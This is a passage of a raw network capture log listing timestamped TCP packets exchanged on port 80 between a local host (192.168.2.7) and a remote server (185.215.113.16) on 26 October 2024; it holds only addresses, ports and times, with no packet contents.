Oct 26, 2024 08:53:55.598534107 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.598562002 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.628896952 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.628907919 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.628947973 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.640158892 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.640170097 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.640181065 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.640192032 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.640213013 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.640258074 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.686381102 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.686404943 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.686414003 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.686425924 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.686487913 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.686500072 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.686521053 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.686522007 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.686522007 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.686532974 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.686593056 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.686593056 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.686593056 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.687340021 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.687390089 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.687391996 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.687402964 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.687428951 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.687658072 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.687669039 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.687705994 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.715858936 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.715893030 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.715905905 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.715926886 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.715939999 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.715945005 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.715987921 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.733623028 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.733633041 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.733747005 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.733747005 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.757477045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.757503033 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.757515907 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.757550955 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.757591963 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.799011946 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.799025059 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.799036980 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.799079895 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.801376104 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.801387072 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.801434994 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.801491022 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.801542044 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.801558971 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.801572084 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.801579952 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.801584959 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.801608086 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.801639080 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.802315950 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.802355051 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.802362919 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.802376032 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.802386999 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.802411079 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.802442074 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.802887917 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.802901983 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.802912951 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.802936077 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.802958965 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.833199024 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.833252907 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.833396912 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.833409071 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.833436012 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.833446980 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.833451033 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.833460093 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.833482981 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.874871969 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.874883890 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.874895096 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.874969006 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.888775110 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.888787985 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.888892889 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.916294098 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.916327953 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.916338921 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.916351080 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.916409969 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.916443110 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.916456938 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.916465044 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.916491985 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.916502953 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.916515112 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.916585922 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.916585922 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.916738033 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.916780949 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.916793108 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.916804075 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.916829109 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.917140007 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.917180061 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.917212009 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.917238951 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.917251110 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.917254925 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.917275906 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.917288065 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.917747021 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.917785883 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.917807102 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.917819977 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.917831898 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.917841911 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.917855978 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.917874098 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.950658083 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.950675011 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.950728893 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.950742960 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.950748920 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.950754881 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.950767994 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.950793028 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.950809956 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.992265940 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.992311001 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.992322922 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.992332935 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:55.992494106 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:55.992494106 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.003954887 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.003969908 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.004049063 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.033065081 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.033078909 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.033097029 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.033128977 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.033140898 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.033153057 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.033164978 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.033181906 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.033200026 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.033207893 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.033207893 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.033207893 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.033207893 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.033216000 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.033241034 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.033252954 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.033262014 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.033262014 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.033262014 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.033266068 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.033278942 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.033279896 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.033288002 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.033303022 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.033323050 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.033638954 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.033695936 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.033705950 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.033715963 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.033746004 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.033776999 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.068185091 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.068232059 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.068265915 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.068283081 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.068285942 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.068300962 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.068325996 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.068341017 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.068921089 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.109580040 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.109693050 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.109711885 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.109743118 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.119116068 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.119131088 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.119272947 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.147136927 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.147180080 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.147197962 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.147212982 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.147229910 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.147252083 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.147257090 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.147311926 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.147547007 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.147562981 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.147577047 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.147583961 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.147593021 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.147617102 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.147646904 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.148085117 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.148108959 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.148135900 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.148152113 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.148161888 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.148169041 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.148178101 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.148207903 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.150346041 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.150969982 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.150985003 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.151036978 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.151036024 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.151052952 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.151070118 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.151084900 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.151087999 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.151103973 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.189853907 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.189870119 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.189886093 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.189897060 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.189902067 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.189924002 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.189941883 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.189979076 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.190013885 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.227082014 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.227127075 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.227214098 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.227225065 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.227269888 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.234323978 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.234373093 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.234469891 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.262139082 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.262206078 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.262223005 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.262259007 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.262283087 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.262285948 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.262285948 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.262285948 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.262334108 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.262334108 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.262497902 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.262515068 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.262538910 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.262550116 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.262550116 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.262568951 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.262584925 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.262604952 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.263051033 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.263079882 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.263098001 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.263094902 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.263123989 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.263129950 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.263139009 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.263149023 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.263170958 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.263185978 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.263750076 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.263793945 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.263825893 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.263854027 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.349706888 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.349726915 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.349796057 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.377444983 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.377477884 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.377492905 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.377516985 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.377530098 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.377541065 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.377549887 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.377578974 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.377579927 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.377593994 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.377602100 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.377624035 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.377639055 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.378235102 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.378248930 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.378276110 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.378407001 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.378407001 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.378602028 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.378616095 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.378623009 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.378642082 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.378654957 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.378667116 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.378706932 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.378706932 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.379352093 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.379364967 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.379409075 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.418762922 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.418798923 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.418812990 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.418827057 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.418839931 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.418852091 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.418858051 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.418893099 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.418904066 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.418910027 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.418921947 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.418932915 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.418946028 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.418948889 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.418962002 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.418967962 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.418988943 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.419001102 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.419004917 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.419013977 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.419027090 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.419048071 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.419066906 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.420500994 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.420527935 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.423907042 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.462811947 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.462831020 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.462842941 CEST	80	49759	185.215.113.16	192.168.2.7
